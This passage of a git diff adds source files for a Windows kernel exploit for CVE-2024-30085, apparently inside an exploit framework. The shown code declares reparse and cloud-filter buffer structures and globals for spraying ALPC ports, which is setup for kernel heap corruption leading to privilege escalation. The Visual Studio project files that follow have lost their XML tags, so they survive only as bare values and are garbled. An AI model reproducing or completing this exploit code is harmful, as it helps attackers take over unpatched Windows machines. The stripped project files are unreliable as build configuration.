SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } + SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } + MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } + GenericReparseBuffer; + } + DUMMYUNIONNAME; +} +REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; +typedef struct { + WORD Tag; + WORD Size; + DWORD Offset; +} +REPRASE_CLD_ITEM, * PREPRASE_CLD_ITEM; +typedef struct { + DWORD Magic; + DWORD Crc32; + DWORD Size; + WORD Reserved; + WORD NumItems; + REPRASE_CLD_ITEM Items[]; +} +REPARSE_CLD_BUFFER, * PREPARSE_CLD_BUFFER; +/* + Globals +*/ +UINT g_portCount = SPRAY_COUNT; +PHANDLE g_ports; +PKALPC_RESERVE g_reserve; +PKALPC_MESSAGE g_message; + diff --git a/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.vcxproj b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.vcxproj new file mode 100755 index 000000000000..cefc403df3b1 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.vcxproj @@ -0,0 +1,154 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {ee5bbc16-e201-4b28-81a8-06250b1d8e7d} + cve202430085 + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + $(ProjectName) + ..\..\..\..\..\..\data\exploits\CVE-2024-30085 + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.vcxproj.filters b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.vcxproj.filters new file mode 100755 index 000000000000..efcc0444b0d8 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file